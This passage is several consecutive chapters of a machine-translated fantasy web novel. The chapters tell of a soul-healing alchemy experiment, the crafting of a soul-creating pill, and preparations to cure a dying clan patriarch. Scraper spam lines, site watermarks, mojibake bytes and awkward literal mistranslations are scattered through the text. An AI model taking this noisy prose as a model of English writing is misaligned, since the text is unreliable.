    Cha Wenliang was also taken aback for a moment, but after a brief examination, he understood, and then he was pleasantly surprised: "It is true that she is not dead! She just passed out temporarily!"


    "What the **** is going on?" An Yan asked.


    "It''s very simple. In fact, her soul has been filled before three minutes, but as Qinghuan just said, after she returns to normal, that unbearable experience will most likely become her life. The unbearable weight!"


    "So I simply erased the memory of her! The consequence of purifying the memory is that she has to fall asleep for a while, so this scene you see will appear!"


    After listening to Xue An''s explanation, everyone suddenly realized.


    "Then when will she wake up?" Ao Shu asked impatiently.


    "soon!"


    As he said, Xue An patted his palm lightly, "Wake up, everything is over!"


    Hearing his shout, I saw the woman trembled all over, then slowly raised her head and stared at Xue An.


    Xue An smiled, "Have you not woken up yet?"


    The woman''s sluggish eyes gradually showed brilliance.


    It''s strange to say that when a person''s eyes have brilliance, even her face will become vivid. Mi He Mi


    Then the woman suddenly got up and bowed to Xue An.


    "Thank you, Mr. En and a few girls for your kindness in rescuing!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2329： The key is coming

    In her memory, those who were too miserable had been erased. She only remembered that she was taken away by a bunch of bad guys, and then saved by these people in front of her.


    Xue An smiled indifferently, "You are welcome, how do you feel now?"


    The woman replied in an orderly manner: "I don''t feel anything unusual!"


    Xue An and Cha Wenliang looked at each other, and they both saw the joy in each other''s eyes.


    There is no doubt that this test was a victory.


    As long as there is a successful experience, the next thing is simple.


    Soon, Xue An cured all the other women.


    Of course, like the first woman, their memories have been cleansed by Xue An.


    After the successful experience of these women, Xue An''s soul manipulation skills have made great progress.


    All unnecessary steps are erased.


    It took three minutes to test before, and it was compressed to less than a minute in a blink of an eye.


    And this time is not an insurmountable gap for other experimental recipients.


    Therefore, with the assistance of Cha Wenliang, Xue An kept running and treated all the test recipients in just one day.


    The end result is gratifying.


    These test recipients have undergone fundamental changes, except for a few whose souls are too severely mutilated.


    When the families of these people saw them, they couldn''t believe their eyes.


    Who would have thought that a person whose soul has been crippled from birth can be healed one day?


    Soon, this result caused a sensation in the star field around the Valley of Fallen God.


    People praised each other, and they all believed that all this was the result of the gentle investigation by the ghost doctor.


    Suddenly, Cha Wenliang''s fame became even greater.


    Of course, these things are completely useless for Cha Wenliang.


    Because he now has more important things to do.


    After accumulating enough experience, Xue An and Cha Wenliang finally launched an impact on their ultimate goal.


    Make a soul!


    Then the entire Caolu was caught in endless quarrels.


    "It''s wrong for you to do this. This Emperor Luoguo is used for concentration. If you remove it, how can you condense your soul?" Zha Wenliang slapped the table and shouted.


    Xue An was calm and relaxed, "You have hundreds of medicinal materials in this prescription, and there are more than a dozen medicinal materials used for concentration, so I think the addition of the emperor''s fruit is completely unnecessary! Removing it will help streamline the prescription!"


    "No, this pill is the culmination of my decades of hard work. It can be said that it affects my whole body. You can''t change it like this!" Cha Wenliang still disagreed, and shouted even louder.


    "The result of decades of hard work is the result of frying the pill oven all day?" Xue An said coldly.


    One sentence blocked Cha Wenliang''s words back.


    Ao Shu was frightened and frightened, for fear that Master would run away again because of this, he kept showing to Xue An with his eyes, let him say a few words. Sacrifice as suyingwang.net


    But Xue An ignored him and looked at Cha Wenliang without backing down.


    After a long confrontation, Cha Wenliang finally couldn''t hold it.


    "Okay! Since you are so persistent, do whatever you want, but I want to tell you that some of these medicinal materials are extremely rare. I have collected it for hundreds of years, but I have accumulated so little, and I have consumed it several times. , There is not much left."


    "If it''s because you changed the alchemy and you ultimately fail, don''t blame me for being rude!"


    After speaking, Cha Wenliang left in a huff.


    Xue An just smiled indifferently, and didn''t take Cha Wenliang''s threat seriously.


    Because now he has already figured out the temper of the ghost doctor genius, don''t look at what he is talking about now, in fact, he will feel soft when it comes to hands.


    What''s more, Xue An didn''t change his prescription, he did have his own considerations and plans.


    It is true that Cha Wenliang''s medical knowledge can kill Xue An a hundred times.


    But this experiment of complementing the soul allowed Xue An to accumulate far more experience than Cha Wenliang.


    These experiences became his confidence.


    Because only he knows the key to complement the soul.


    It can be said that the person in Luoshen Valley who knows the soul best is Xue An, not Cha Wenliang.


    Even Xue An was a little surprised to find that after completing these experiments, his soul strength had actually increased slightly.


    This feeling is very subtle, Xue An did not feel any change in strength, but the improvement did indeed happen.


    As Xue An said, this Cha''s gentle temper comes and goes quickly.


    But after a while, he took the initiative to come back and began to prepare the things needed for alchemy.


    Because there were so many things needed, An Yan Ao Shu and Yue Qinghuan also came to help.


    Those few women with poor backgrounds were also helping.


    Because they were rescued from the gang by Ao Shu, An Yan, and Yue Qinghuan, their identities have not been verified, so there is nowhere to go.


    Fortunately, the land of God Valley is vast, and a few more people are not a big deal, so Cha Wenliang took them in.


    In this regard, these women are naturally grateful, and they will rush to do as long as they are within their ability.


    As for the two little girls...


    They were already playing crazy with the little fairies who entered the grass cottage in the front yard.


    The ginseng doll Aqi and the many little monsters are simply unsuspecting to think and miss. UU reading immediately became one after they met.


    Under this circumstance, all preparations for alchemy were finally ready.


    Then Xue An took a deep breath and waved his hand.


    boom!


    The flame soared into the air, completely enveloping the Nadan furnace.


    An alchemy that was very important to everyone present began.


    At the beginning, everything went well, Xue An added the medicinal materials for the furnace step by step, and successfully laid an excellent foundation for alchemy.


    The strong medicinal fragrance began to permeate, which also made Cha Wenliang''s face a little awkward.


    Everything is difficult at the beginning, but this time it''s obviously a good start.���B��xwx.*cO����


    This is always a good sign.


    Xue An was also engrossed in observing the changes in the pill furnace, and carefully controlled the fire.


    To be honest, the pill that was refined this time was also an arduous test for Xue An.


    Because this pill is an existence that has never appeared in the record, and even its effect is an unprecedented creation soul.


    This also means that Xue An has no experience to learn from, and everything depends on his own exploration.


    But the progress was obviously faster than expected, but in half an hour, the furnace was almost over, and then the medicinal materials were added.


    Cha Wenliang couldn''t help but lifted his heart into his throat.


    Because in the past, every time he fryers happened at this stage.


    But Xue An was obviously unmoved, and saw him wave his hand calmly. Mi He Mi


    The pill furnace was half open, and then various medicinal materials flew into the pill furnace like flowing water.


    But at this moment, the sudden change occurred.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2330： And the ice cream that Xue doesnt want to eat? ...

    Just listen to a soft crackle from the pill furnace.


    The sound was very slight, but it fell into Cha Wenliang''s ears like thunder.


    He paled, and immediately shouted: "No! Pill furnace is abnormal!"


    As soon as the voice fell, there was a loud rumbling noise in the pill furnace, and then the violent pill energy overflowed, blowing out the few women who were helping around.


    Not only that, Cha Wenliang also felt that the temperature of the pill furnace was rising rapidly, and even the roasted face was aching.


    One can imagine how critical this situation is.


    But when Xue An heard Cha Wenliang''s shout, he was in a hurry, but rather calmly knotted his hands and struck a set of extremely complicated seals.


    As the Yinjue hit, the flame under the pill furnace began to turn from white to blue, and at the same time the pill furnace was supported in a lotus shape.


    And the abnormal movement in the pill furnace gradually calmed down as the flame changed.


    Cha Wenliang wiped out a cold sweat and let out a sigh of relief.


    "Fortunately, fortunately, it really scared me to death just now!"


    Xue An glanced at him with a smile, "Are you so scared?"


    Cha Wenliang smiled bitterly, "You don''t understand, I''ve been blown out of the shadows now, and I will tremble involuntarily when I see the abnormal movement of the pill furnace!"


    "Haha!" Xue An chuckled, then turned to look at the pill furnace, and said lightly: "Don''t worry, with me, there will never be the same thing!"


    Then came the long and boring moment of alchemy.


    Because of the large number of medicinal materials, this furnace of elixir takes longer than normal.


    This will test the alchemist''s continuous control over the heat.


    Many alchemists failed at this time because of lack of energy.


    At the beginning, Cha Wenliang was also a little worried. After all, Xue An''s cultivation is only the Immortal Venerable. Can he really survive the consumption of the pill fire for such a long time?


    But after three days, he found that Xue An was still full of energy and was not tired at all, then he put his heart back in his stomach.


    "Mom, what kind of pill is Dad refining? Why is it taking so long?" Nian Nian asked when she approached An Yan.


    "Dad is refining the most magical pill in the world. With it, it can help many people!" An Yan explained.


    Nian Nian nodded her head seemingly.


    Thinking about it, I couldn''t help but lift my nose and take a deep breath, and then said, "Wow, it smells so good, is this pill delicious?"


    In fact, from the fifth day onwards, a faint scent wafted out of the pill furnace, but no one had thought about it anywhere, only thinking about the snacks that smelled the scent, they couldn��t help but think about it. On this issue.


    Ao Shu couldn''t help but laugh, "Think about it, is there nothing in your little head, just thinking about how to eat good food?"


    "Hey!" Think about it with a somewhat embarrassed smile, "Where is it? It seems that I have nothing to do except eat."


    But at this moment, Nian Nian did not hesitate to uncover the pretense of thinking, only to see her pouting her lips.


    "Why not? You said yesterday that you want to eat all the delicious things in the world!"


    Think about it blushing, some helplessly staring at it.


    "You still say me, don''t you do the same?"


    "Why am I the same?"


    "The ice cream I secretly took out two days ago, you didn''t eat less than me!"


    "That''s because you can''t eat it, so I can eat it for you!"


    "You are talking nonsense, and there are ice creams that Xue I can''t eat? You are obviously just greedy!"


    The two little girls began to quarrel daily.


    Ao Shu was so amused that he laughed, and then couldn''t help squeezing the faces of the two of them, "You two little girls, it''s so cute that people want to bite you!"


    Decrease bxW*x.cO*��. Even Yue Qinghuan couldn''t help but smile.


    But at this moment, I listened to a sudden and extremely pleasing sound from the high platform.


    Everyone smelled of prestige.


    The sound came from the Nadan furnace, extremely clear and sweet.


    Not only that, with the sound of music, the little brilliance also rises from the pill furnace, condensing all kinds of illusions.


    Ao Shu looked happy, "This is about to form a pill!"


    Once the alchemy is formed, it means that the alchemy is about to be completed.


    However, Cha Wenliang''s face did not see the slightest joy, on the contrary, it was full of solemnity.


    Because the more you get to this time, the easier it is to make mistakes.


    After all, Xue An has been standing on the high platform for a full eight days now. During these eight days, he has to constantly adjust the flame and observe the situation in the pill furnace.


    This is a great test for people''s physical strength and spirit.


    Especially now, if he makes a slight difference, he may be wiped out.


    Therefore, Cha Wenliang couldn''t help but whispered, "Xue An, do you want to change me?"


    Xue An chuckled softly, "No need, just prepare the medicinal materials for pill formation!"


    "Already ready!"


    Cha Wenliang was indeed overly careful, afraid that Ao Shu and others would make a mistake, so he personally selected the medicinal materials for the formation of pill formation, and then took it with him in case of emergency.


    "That''s good!"


    At this moment, the music in the furnace stopped abruptly.


    "It''s now! Jinyu Linghua!" Xue An shouted.


    Before his words fell, Cha Wenliang had already handed the Jinyu Linghua to Xue An''s hands.


    Xue An pinched the seal with his hand and pointed at the pill furnace, "Get up!"


    boom!


    The pill furnace then opened a small gap, but it was strange that no pill gas leaked in it.


    Xue An casually threw the Golden Feather Spirit Flower in his hand.


    In an instant, the pill furnace trembled, and the illusion that was originally inaccurate at the top also solidified.


    But this is just the beginning, UU reading www. uukanshu. Com then listened to Xue An repeatedly drinking.


    Sacrifice such as xindingdianxsw.com. "Free Treasure!"


    "Vanqi Stone!"


    "Blood Chan Bone!"


    "...."


    Accompanied by the soft drink, Cha Wenliang''s subordinates kept handing all kinds of medicinal materials into Xue An''s hands in an orderly manner.


    The eyes of Ao Shu who looked at this dazzling operation were colorful.


    Brother Ang is so amazing, even the master has to listen to him obediently!


    at last.


    When the last medicinal material was put into the pill furnace, the pill furnace suddenly fell silent, including the almost condensed illusion at the top of it.


    Cha Wenliang was panting slightly, but staring at this pill furnace for an instant, his heart had already touched his throat.


    One hundred years of hard work, the success or failure depends on this one move!


    Not only him, but Ao Shu, Yue Qinghuan and others looked at them with fear.


    When the audience was quiet, Xue An suddenly raised his head and chuckled.


    "It''s done!"


    When the words were over, the illusion above the pill furnace instantly shattered into powder, and then crazily poured into the pill furnace.


    In an instant, Dan Lu began to tremble uncontrollably.


    Mi He Mi. Especially the treasure cover of the Pill Furnace clanked constantly, as if there was something in it that wanted to break out of its shell.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2331： Very fierce and fierce... the big head monster?

    Before everyone could react, Xue An stretched out his hand and pointed, and the pill furnace smashed to pieces, but there was no sound, not even splashing out, but falling like scattered sand.


    But in this, there was a bright ray of light rising into the sky, motivating the surroundings to change.


    Immediately afterwards, I saw this brilliance rushing straight into the sky, rushing to the enchantment above Falling God Valley at an extremely fast speed.


    "No! It''s going to run!" Cha Wenliang exclaimed, but there was an unconcealable joy in his eyebrows.


    Just based on the performance of this brilliance, it can be seen that this furnace of pill medicine has sprouted spiritual wisdom.


    And this is the most difficult requirement for this furnace of elixir.


    As long as this goal is achieved, it will prove the success of this potion.


    But although he was pleased, the movement under his feet did not slow down at all, and the whole person rose up into the sky like a cannonball in an instant, and went straight to the brilliance.


    But he is faster, Xue An is faster than him.


    Even as soon as he was in the air, Xue An had already arrived at the enchantment, and then stretched out his hand to grab it.


    That Guanghua was then caught in his hands.


    Faintly, there was a sound similar to a baby crying from Guanghua, and Guanghua flickered, obviously trying to get away from Xue An''s palm. Sacrifice like zhuishukan.com sacrifice like


    But all struggles are in vain.


    Xue An''s palm was like a cast of copper and iron, not moving.


    At the same time Xue An said calmly: "Don''t move, if you move, believe it or not, I will crush you now?"


    Upon hearing this, Guanghua immediately calmed down.


    Then Xue An just fell on the ground.


    Cha Wenliang rushed up immediately.


    "How?"


    Xue An slowly spread out his palms.


    In the palm of his hand were two pills the size of a quail egg, which looked dark and inconspicuous at all.


    But in the eyes of Cha Wenliang, these two pills are more fascinating than the most beautiful woman in the world.


    He trembled with excitement, "Did you succeed?"


    Xue An nodded, "According to your request, it was a success! But the specifics will have to be tested before I know it!"


    This sentence reminded Cha Wenliang, he waved his sleeves, "Go! Go now!"


    Xue An understood Cha Wenliang''s excitement.


    After all, this matter was the goal he had been striving for for nearly a hundred years, and now it was about to be achieved when he saw it, and whoever changed it would be extremely excited.


    Therefore, Xue An did not speak, and followed Cha Wenliang to the previous room.


    An Yan Ao Shu and others will naturally follow.


    Thinking and Niannian whispered in the back.


    "Did you see it?" Nian Nian asked.


    "Well, I saw it, just like the chocolate ball on the ice cream, it should be delicious!" said before thinking about it.


    "Bah, I asked if you had eaten? I was asking if you saw where we were!" Nian Nian said.


    "Huh? Isn''t it the backyard? What''s the difference?" I wonder.


    "Ahem, I forgot that you don''t see things that ordinary people can''t see like me!"


    Then Nian Shen mysteriously pointed to the house, "Do you know what is in that house?"


    "what?"


    "Hey!" A narrow smile appeared on Nian Nian''s little face, "There is a demon in there!"


    Because she knew that her sister was timid by nature, and she was most afraid of ghosts!


    really.


    Thinking about it, Lingling shuddered, "Evil...devil?"


    "That''s right, and it''s a fierce and fierce ghost!" Nian Nian showed his teeth and claws.


    The little face that I thought about turned pale, but Xuan even forced a smile and said, "I...I''m not afraid. Mom and Dad are here. What if there are evil spirits?"


    "Oh? Are you really afraid?" Nian-nian asked playfully.


    "Really not afraid!"


    "Haha! But this evil spirit is different. According to my observation, its size is very large. Obviously it is very powerful. The stronger the evil spirit, the more hideous the face!"


    "So this evil spirit must have blue-faced fangs, long tongues, and eyes..." Nian Nian said vividly.


    Think about it with a scream, retreating behind An Yan in fear.


    An Yan had already heard the conversation between the little sisters and couldn''t help but sigh lightly.


    "Niannian, you are scaring sister again!"


    "Hehe, who made her so courageous?" Nian Nian smiled.


    Think about it at this time, plucking up the courage to say: "Mom, I''m not afraid, I just didn''t stand firm just now, so I took a few steps back!"


    "Okay, mom won''t believe you, hey the door is open!" Niannian pointed forward.


    Hearing this, think about it and quickly retract his head.


    An Yan touched her head affectionately, "It''s alright, don''t be afraid, this evil spirit, I...huh?"


    An Yan originally thought that there must be a hideous ghost living in the room.


    After all, the true eyes of the little girl never lie.


    So she is also ready.


    But I never expected that when the door was opened, what appeared from the inside would be a cute creature with a huge head and funny facial features!


    This discovery made her a little stunned.�� minus bXwX.Co ��


    Nian Nian was even more dumbfounded, but soon the child''s playful nature made her scream in surprise.


    "Sister, look at it! So cute!"


    "Bah, I don''t believe your nonsense! Don''t want to lie to me!"


    "Really, really cute big head monster!"


    Think about the hesitation in your heart, is it true?


    Then she covered her eyes with her hands, quietly poked her head out, and opened a finger to look.


    really.


    The look of this big monster also stunned herwhat kind of sister, I didn''t lie to you! "


    But as soon as the voice fell, I knocked Nian Nian''s head after thinking about it.


    "Oh, why are you hitting me?"


    "You didn''t lie to me? Where is the evil spirit you just said?" He said angrily after thinking about it.


    The two little girls began to quarrel with theory again.


    And here, Cha Wenliang took a deep breath and suppressed the excitement in his heart.


    "Start?"


    It was actually asking for Xue An''s opinion.


    Xue An smiled, "Let''s start!"


    With that, Xue An handed Cha Wenliang a pill.


    Cha Wenliang took the pill in his hand, only feeling the rattling of his teeth, and then handed the pill over with trembling hands.


    "Eat it!"


    This big monster already possesses simple intelligence, especially following Cha Wenliang''s words, so he swallowed the pill into his stomach without hesitation with a mouth.


    then����.


    No response at all.


    That''s right!


    In the expectant and eager gazes of everyone, the big monster blinked his eyes, not even a trace of change.


    Cha Wenliang''s complexion instantly turned pale as paper, and his figure was even more shaky.


    Is he wrong?


    This pill that has been painstakingly studied for more than a hundred years actually does not work?


    These questions made Cha Wenliang''s eyes black for a while.


    Yue Qinghuan clasped his hands tightly, watching this scene with tears in his eyes.


    At this moment, Xue An suddenly sighed. Mi He Mi


    "It doesn''t change at this time, when will you stay?"


    When the words fell, the big monster suddenly howled in pain, and then the whole body released thousands of rays of light.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2332： Dan Cheng returns

    Amidst the glare, the big monster''s body began to shrink sharply.


    In the blink of an eye, it shrank from a huge monster to a normal human size.


    Then the light gradually dissipated, revealing the figure below.


    Everyone couldn''t help but widen their eyes.


    Because at this moment, the person who appeared in front of everyone was a handsome young man.


    He slowly opened his eyes and looked around blankly.


    Cha Wenliang was very excited, "You...Do you still recognize me?"


    Hearing his voice, the boy trembled all over, and immediately fell to his knees.


    "the host!"


    Cha Wenliang couldn''t care about anything else, and rushed to the young man with a stride, grabbed his shoulder, and said eagerly.


    "Do you remember who I am?" Xiru 75zw.com Xiru


    "Of course I remember, because the master you made me and gave me my soul, how can I forget it?" the boy said in a clear tone.


    Moreover, the logic between his words is very clear, which is completely different from the previous vagueness and only a few simple tones.


    Cha Wenliang couldn''t help laughing, "Good! Good! Good!" BX*wX*Ban


    I even said three good words, and the laughter was full of extreme indulgence.


    Xue An did not stop either, but looked at it with a smile.


    After all, whoever encounters this kind of incident will be as ecstatic as Cha Wenliang.


    Until he finally stopped laughing, Xue An said indifferently: "Now I have done what I promised you, what about your promise?"


    "That''s easy to say, now I have a little confidence, as long as you are willing, then we can get up and go now!" Cha Wenliang laughed.


    "Okay, then let''s go now!"


    "So anxious?" Cha Wenliang was surprised.


    "Of course, because every extra day is delayed, there will be an extra day of variables!" Xue Anyou said quietly.


    "Okay, then get up now!" Cha Wenliang agreed without hesitation.


    The group immediately got up and left Luoshen Valley to the Yue family.


    At the same time, the Yue family''s atmosphere was very depressing and dull.


    The joyous atmosphere created by winning the martial arts conference has long since disappeared, and everyone''s hearts are as heavy as a big rock.


    Occasionally someone looked in the direction of the backyard with a worried face, and then shook his head and sighed.


    Naturally, Yue Hechang was no exception. He came to the backyard gate and stared at the deep scenery behind the gate. After a long time, he said, "How long has the second girl not come out?"


    Yue Junze, who followed behind him, looked sad, "It''s been ten days!"


    "Is there still no news coming out?"


    "No."


    Yue Hechang frowned, walked to the front of the backyard, stretched out his hand and touched it lightly.


    A faint ripple immediately appeared in the space, and then a huge light curtain was formed, covering the entire backyard.


    "After entering the backyard, the second girl covered the entire backyard with an enchantment barrier. Now no one can enter it unless she allows it." Yue Junze said.


    Yue Hechang sighed lightly, "What''s the situation in such a tight defense? Could it be the owner of the house..."


    Yue Hechang didn''t finish what he said, but the meaning was already obvious.


    Yue Junze was silent.


    "Be prepared for the worst. If the Patriarch really wants to fight again, the Yue family will have no one to protect them for at least three years, while the Long Family and Sima Family are watching, and I should be more careful about this!"


    "understand!"


    Yue Junze bowed his head in response, tears looming in his eyes.


    Just when they were talking, in the backyard flower hall.


    The second girl sat quietly on the chair, with thousands of flowers blooming beside her, and the warm wind hitting people. Nothing changed at all, as if time had frozen.


    But none of this disturbed the two girls. At this moment, she was as if everything in the outside world did not exist, and all her attention was focused on Yue Shifang who was not far away.


    At this time, Yue Shifang was sleeping deeply.


    It''s just that his deep sleep makes people just look tired.


    I saw him leaning on the chair in a weird posture, his chest undulating sharply, but he couldn''t hear the sound of breathing. Only after a long time, would he make a snoring like a leaking bellows.


    The second girl knew that it was a sign that his lungs were on the verge of collapse.


    So every time the voice sounded, the eyes of the second girl would faint distressed.


    However, this state did not last long, because even this extremely difficult sleep was a luxury for Yue Shifang.


    However, within a quarter of an hour, Yue Shijian slowly opened his eyes, and then panted heavily.


    That kind of gasping is as if an invisible hand is strangling his trachea, which makes people feel uncomfortable.


    suddenly.


    I really thought it was because of the panting, Yue Shifang couldn''t help coughing.


    The cough was so violent, it seemed that he would die in the next second.


    The second girl hurriedly stepped forward and beat his back.


    But she didn''t dare to use force, because Yue Shifang, who was already extremely thin, had all the upright bones on his back, as if he would break it with a little force.


    So she can only pat gently.


    After a while, this cough was finally over, UU reading Yue Shifang lay back on the chair profusely, his strength seemed to be drained by the cough, and he even lifted his finger. Can''t do it, there is still a little bit of the shadow of the past.


    Tears were faint in the eyes of the second girl, full of distressed colors, and finally couldn''t help but speak.


    "If it''s so uncomfortable, why not reincarnate as soon as possible!"


    Yue Shifang smiled, "Don''t be sad, I''m used to it!"


    "but��."


    Yue Shifang interrupted her directly, "Have Xue An and Qing Huan returned?"


    "Not yet!" the second girl replied.


    "In fact, even if they really invite that ghost needle doctor Cha Wenliang back, it is useless, because the wound I suffered comes from the depths of the soul, and it is not an ordinary medicine stone that can work!"


    "Then why are you waiting for them?"


    "Got to... wait for them to come back and see the last time to solve it!" Yue Shifang whispered.


    The flower hall fell into silence again.


    Yue Shifang''s eyes have long been blind, and now even his hearing has begun to degenerate, but even so, he can still clearly feel the sadness of the second girl.


    "Okay, don''t cry, in your eyes I may be suffering, but to me it''s just a piece of cake. After all, don''t forget, I have experienced dozens of reincarnations! "Yue Shifang smiled.


    It''s okay not to say that.


    As soon as the voice fell, Yue Shifang felt a dampness on his shoulders.


    This can''t help silence him.


    It wasn''t until a long time later that he sighed softly, then groped and stretched out his hand to gently stroke the tearful cheek of the second girl.


    "Okay, stop crying!" Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2333： Cure

    "I didn''t cry! I just happened to be fascinated by the wind and sand just now!" The second girl said forcefully.


    "Okay, what you said is right! Isn''t it the head office?" Yue Shifang smiled.


    Only this time the second girl didn''t talk and laugh with him as usual.


    On the contrary, Yue Shifang faintly heard the sound of weeping.


    This made him sigh, and then he didn''t know what to say.


    It was quiet in the flower hall.


    Yue Shifang leaned on the chair, looking into the distance with godless eyes, thinking about his own arrangements after the soldiers were solved.


    The reason why he dragged this increasingly broken body and refused to leave was because he wanted to see Xue An and his sister, and then arranged for a gap of at least three years after the soldiers were disarmed.


    After all, even Yue and Chang could see the crisis facing the Yue family now, and as the head of the family, he was naturally less likely to be unaware.


    As for healing...


    Sacrifice such as 99bxwx.com sacrifice such as. In fact, he didn''t hold any hope from beginning to end.


    Because I know my own affairs.


    This wound penetrated deep into the soul, and it was completely beyond the reach of medical treatment.


    Just as he was thinking about it, the two girls suddenly moved, and then a look of surprise appeared on their faces.


    "came back!"


    "What''s back?"


    "They are back!"


    With that, the second girl suddenly got up, raised her hand and opened the light curtain of the sealed backyard.


    really.


    I saw a group of people headed by Xue An descend from the sky, directly in front of the Flower Hall.


    The second girl saw the ghost doctor in the crowd at a glance.


    Without him, he is really short and sloppy, he is too conspicuous.


    Despite her shame, the second girl shook her heart, even if it was a burst of ecstasy.


    Because she had heard people talk about the appearance of the ghost doctor, so she could immediately conclude that he was the famous doctor Cha Wenliang.


    Although Yue Shifang thought that even if Cha Wenliang came, he would not be able to heal his injuries, but at any rate it was a hope.


    So the second girl didn''t even have a polite, and immediately shouted: "Check the genius doctor, please come and see his injury!"


    In fact, there is no need to urge the two girls, after Cha Wenliang landed, he immediately walked into the flower hall.


    The first goal was Yue Shifang''s decayed and thin body. Cha Wenliang raised his eyebrows slightly and blurted out, "What a domineering power!"


    Yue Shifang chuckled lightly, "Check the geniuses for good eyesight!"


    Cha Wenliang ignored Yue Shifang''s words, but went straight to the front, directly grasped Yue Shifang''s wrist and began to signal pulse.


    Everyone held their breath and waited quietly.


    Yue Qinghuan felt a sorrow in his heart as he watched that his former high-spirited older brother had now become like a dying old man.


    She seemed to be aware of this, An Yan on the side patted her on the shoulder lightly, and then softly comforted.


    "Don''t be sad. Didn''t you say that you are 80% sure before checking the genius doctor? Then he will definitely be able to heal your brother''s injury!"


    "Yeah!" Yue Qinghuan replied in a low voice.


    At this moment, Cha Wenliang let go, stood up and stared at Yue Shifang.


    Yue Shifang smiled lightly: "How is it?"


    "The injury was very serious! To be honest, you can still sit here and talk to me. This is a miracle in itself. After all, according to normal circumstances, you should have died long ago!"


    �� ����. "Hehe, someone said this to me thousands of years ago, but I still survived tenaciously!" Yue Shifang laughed at himself.


    "Rely on your military solution to reincarnate? But do you really think that method is the solution?" Cha Wenliang sneered.


    Yue Shifang shook his head, "Of course not, but I can''t help it!"


    "So you drink poison to quench your thirst? With your cultivation base, you should know that every time a soldier reincarnates will deplete your soul origin, which will make your already serious injury more and more serious!"


    "How long did you survive the first reincarnation?" Cha Wenliang said.


    "Eight hundred years!"


    "What about this time?"


    Yue Shifang was silent for a moment, "less than a hundred years!"


    "This is the best example! It is true that you can''t sit and wait for death, but the most correct way in your situation should be to seal yourself up and wait for the opportunity, instead of silly depletion of your soul origin!"


    Cha Wenliang spoke rudely, completely ignoring Yue Shifang''s face.


    Yue Shifang could only smile bitterly at this.


    "Yes, you are right to teach, but if I am gone, then this Yue family will soon be annexed by other families, so for this, I am not qualified to sleep!"


    "Hehe, I am a doctor. I only evaluate your condition. As for why you did this, it has nothing to do with me!"


    "But I still want to remind you that your current state of soul is on the verge of collapse. If nothing happens, this soldier''s solution will be your last rebirth. It''s unknown whether you can even break through. Believe you. It should be clear too!" Cha Wenliang sneered.


    As soon as this statement came out, the two girls and Yue Qinghuan changed their colors.


    "What?" Yue Qinghuan exclaimed.


    The second girl looked at Yue Shifang in disbelief, "Is what the genius doctor Cha said is true?"


    Yue Shifang was silent for a moment, and finally nodded with a wry smile, UU reading "Yes!"


    "You bastard!" The second girl was furious, "If this is the case, then why don''t you tell me?"


    "Tell you what''s the use besides increasing your troubles?"


    The second girl burst into tears, "Then you can''t hide it from me! Do you know how sad I would be if you left?"


    Yue Shifang was speechless, and it was only a moment later that he slowly said, "I''m sorry!"


    "Don''t say sorry to me, what I want is to be worthy! I tell you Yue Shifang, you are not allowed to die without my order!" The second girl said viciously, and then turned to check Wen Liang and knelt down.


    Kneeling simply and neatly, without procrastination.


    "What does the girl mean?" Cha Wenliang stepped aside and asked.


    The second girl resolutely said: "Check the genius doctor, I have nothing to ask, I just want to ask you to save him, as long as you can do it, I will be a cow or a horse."


    Yue Qinghuan also threw a plop on her knees, "That''s right, please check the genius doctor, you can save my brother!"


    Mi He Mi. The two girls knelt down at the same time, and Cha Wenliang couldn''t stand it anymore, and hurriedly said: "Get up, since I had promised Xue An at the beginning, I will naturally do my best to complete it!"


    "Although the injuries on his body are indeed extremely serious, it is not completely uncertain. At least with the help of Xue An, there should be a ray of life!"


    Upon hearing this, the eyes of the two girls suddenly burst into bright brilliance, and they trembled and asked: "What are you saying is true?"


    "Of course, how can the old man make a joke about this kind of thing!"


    Speaking of this, Zha Wenliang stroked his beard quite contentedly, "You must know that now the old man can be said to be the person who studies the soul the deepest in the entire universe!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2334： dispute

    "If I can''t save him, no one can save him!"


    This overbearing declaration also made the two girls and Yue Qinghuan relieved.


    At this moment, Xue An suddenly asked: "Second girl, can others know about our return now?"


    The second girl shook her head, "As long as you don''t disturb other people when you come back, if you enter directly from the backyard, others will definitely not know!"


    Xue An nodded, "That''s good!"


    Yue Qinghuan couldn''t help but asked in a low voice: "What''s the matter?"


    Xue An smiled, "It''s okay, but suddenly I have an immature idea!"


    After that, he turned and left, discussing how to treat Yue Shifang with Cha Wenliang.


    Yue Qinghuan looked at Xue An thoughtfully, wondering why he had just asked.


    But after thinking about it for a long time, she was also puzzled, and finally had to leave this question behind for a while.


    Because there are more important things that she needs to do, such as... persuade her.


    That''s right.


    Because of her brother Yue Shifang''s treatment plan, a fierce quarrel broke out between Cha Wenliang and Xue An.


    It is not very accurate to say that it is a quarrel, because only Cha Wenliang''s roar can be heard at the scene. As for Xue An, he barely speaks, but occasionally refutes a few words.


    But every word of it made him feel very angry.


    "It''s useless to say anything else, I''m the master of the medical road, so what I said is correct!" Cha Wenliang shouted.


    "I admit that, in terms of the level of understanding of the soul, I am definitely not inferior to you, and your plan does have a big problem."


    "What''s the problem? All his cruxes come from deep wounds in his soul. As for his injuries... it''s just a mutilated body. Is it necessary to bother?" Cha Wenliang said coldly.


    Xue An shook his head, "I feel that what you said is wrong. It is true that the root is from the depths of his soul, but haven''t you found that his current vitality has decayed to the extreme? If you forcefully repair his soul now, It is very likely that the body cannot bear it and collapses directly!"


    "What can I do if he collapses? As long as his soul can recover, this body is not necessary!"


    "Hehe, you can say that under normal circumstances, but his situation is different!"


    "Where is it different?"


    "Don''t forget that he has gone through dozens of reincarnations and his soul is already very weak. At this time, he can no longer withstand any storms." Xue An said solemnly.


    Hearing what Xue An said, Zha Wenliang opened his mouth to say something, but in the end he didn''t say it.


    "I know that you have a strong ability above the path of medicine, so you can ignore this, but he is really different, so for the sake of safety, I think it is better to make up his body first, and then restore the soul! "


    Cha Wenliang looked at Xue An with blinking eyes. After a long time, he suddenly said, "Are you interested in developing medical skills?"


